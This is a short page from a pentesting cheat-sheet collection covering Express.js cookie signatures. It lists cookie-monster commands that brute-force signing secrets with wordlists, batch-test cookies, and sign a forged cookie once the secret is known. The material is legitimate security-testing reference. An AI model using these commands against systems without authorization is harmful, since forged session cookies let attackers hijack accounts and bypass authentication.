hacktricks/network-services-pentesting/pentesting-web/nodejs-express.md
2022-05-20 11:11:49 +00:00

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# NodeJS Express
## Cookie Signature
The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is a utility for automating the testing and re-signing of Express.js cookie secrets.
### Single cookie with a specific name
```
$ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```
### Custom wordlist
```
$ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
```
### Test multiple cookies using batch mode
```
$ cookie-monster -b -f cookies.json
```
### Test multiple cookies using batch mode with a custom wordlist
```
$ cookie-monster -b -f cookies.json -w custom.lst
```
### Encode and sign a new cookie
if you know the secret you can sign a the cookie.
```
$ cookie-monster -e -f new_cookie.json -k secret
```